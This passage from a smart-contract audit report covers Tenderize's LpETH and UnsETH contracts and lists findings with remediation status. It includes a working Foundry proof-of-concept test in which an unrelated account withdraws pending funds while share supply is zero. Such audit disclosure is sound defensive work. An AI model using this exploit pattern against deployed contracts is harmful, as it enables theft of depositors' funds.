If we look critically at the withdraw(uint256,uint256) function, we can see that it is possible to withdraw from the LpETH contract without burning any shares:

uint256 lpShares = $.liabilities > 0
    ? FixedPointMathLib.fullMulDivUp(amount, LPTOKEN.totalSupply(), $.liabilities)
    : amount;

For non-zero liabilities and a LPTOKEN.totalSupply() of 0, no lpShares need to be burned.

In the steps below, we describe the unlikely scenario where non-zero liabilities in combination with zero circulating supply may be withdrawn by c0ffee, an account with expressly no ownership of the pool:

/// @notice lptokens are burned atomically on withdraw resulting in a
///         deferred claim to unlocked balances, however these balances
///         are not segregated
function test_tokensCanBeStolenWhilstZeroCirculatingSupply() external {

    /// @dev assume an initial deposit
    address deadbeef = address(0xdeadbeef);
    uint256 depositAmount = 10 ether;
    vm.deal(deadbeef, depositAmount);
    vm.startPrank(deadbeef);
        _lpEth().deposit{value: depositAmount}(0);
    vm.stopPrank();

    /// @dev assume swaps take place resulting in unlocks
    IERC20 lst = IERC20(EETH_TOKEN);
    uint256 unlockAmount = 1 ether;
    vm.prank(_faucet());
        lst.transfer(address(this), unlockAmount);
    lst.approve(address(_lpEth()), type(uint256).max);
    _lpEth().swap(address(lst), unlockAmount, 0);
    uint256 pendingUnlockId
        = 101010197349444841392340933157902236146568907813657814364422726681468637791402;

    /// @dev depositor initiates withdrawal
    vm.startPrank(deadbeef);
        _lpEth().withdraw(depositAmount, type(uint256).max);
    vm.stopPrank();

    /// @dev ensure the token matures
    _prankUnlockMaturity(pendingUnlockId, unlockAmount);
        _lpEth().redeemUnlock();

    /// @dev an unrelated address without claims to the underlying
    ///      balance may withdraw `deadbeef`'s pending withdrawal
    address c0ffee = address(0xc0ffee);
    vm.startPrank(c0ffee);
        assertEq(c0ffee.balance, 0);
        _lpEth().withdraw(_lpEth().liabilities(), 0);
        assertEq(c0ffee.balance, 297_886_511_894_253);
    vm.stopPrank();
}

Here, the rewards from the unlock redemption can be stolen.

When the initial deposit is made to the LpETH contract, ensure a proportion of initially minted shares are sent to the burn address to rule out the possibility of this state.

Additionally, ensure that non-zero amounts of shares are always burned when making a non-zero withdrawal of any capital.

Remediation Plan

SOLVED: The Tenderize team fixed the issue. The lpShares is required to be greater than 0.

The UnsETH contract is UUPSUpgradeable, but does not implement UUPSUpgradeable.__UUPSUpgradeable_init() in the initialize() function:

function initialize() external initializer {
    __Ownable_init(msg.sender);
@>
}

Ensure the base contract is initialized:

function initialize() external initializer {
  __Ownable_init(msg.sender);
  __UUPSUpgradeable_init();
}

Remediation Plan

SOLVED: The Tenderize team fixed the issue as recommended.

The UNSETH_EXPIRATION_TIME duration used to meter rewards for unlock purchases is common between all UnsETH tokens, regardless of the underlying liquid staking asset, whose unstaking time may vary.

If the underlying LST time until maturity is smaller, the protocol may pay out more in rewards than necessary, since it can devalue the time LPs spent exposed to the asset.

Similarly, when considering LSTs with a longer intrinsic delay until maturity, users are liable to take on more risk than compensated for by rewards.

Consider the using a mechanism which enables administrators to tune protocol-specific delays:

/// @notice Determine the asset-specific expiration time, or fallback to
///         the default.
function getUnsethExpirationTime(address asset) public view returns (uint256) {
    Data storage $ = _loadStorageSlot();
    uint256 unsethExpirationTime = $.unsethExpirationTimes[asset];
    return unsethExpirationTime == 0 ? 3 days + 12 hours : unsethExpirationTime;
}

Remediation Plan

ACKNOWLEDGE: The Tenderize team acknowledged the issue. Due to the mechanics of the withdrawal queue of ETH and the potential dependency on keeper bots of certain LSTs to finalize withdrawals, it can be hard to determine the unlock time on-chain. That's why the team chose to adopt a general time which should default roughly to the standard withdrawal queue for ETH as an expiration time for unlocks to be bought.

Both the buyUnlock() and redeemUnlock() possess equivalent batch implementations, batchBuyUnlocks(uint256) and batchRedeemUnlocks(uint256).

As a general rule-of-thumb, implementors should anticipate that every 1,000 lines of should on average introduce around 17 unique bugs.

In the case of LpETH, as both the batchBuyUnlocks(uint256) and batchRedeemUnlocks(uint256) functions are capable of replicating the precise functionality exposed by their singular equivalents buyUnlock() and redeemUnlocks(), it is recommended to remove the singular implementations altogether to help ease maintenance, alleviate the complexities of maintaining functional parity, reduce resultant bytecode size and help normalize the public interface for consumers.

Remove the buyUnlock() and redeemUnlock() functions.

Although these could be replaced by shallow external calls which internally redirect calls to batchBuyUnlocks(uint256) and batchRedeemUnlocks(uint256) using a value of 1, their presence may incentivize the delivery of inflexible client integrations, since the batch implementation should always be preferred due to inherent scalability.

Remediation Plan

SOLVED: The Tenderize team fixed the issue. The surface area of the mentioned mechanisms was reduced.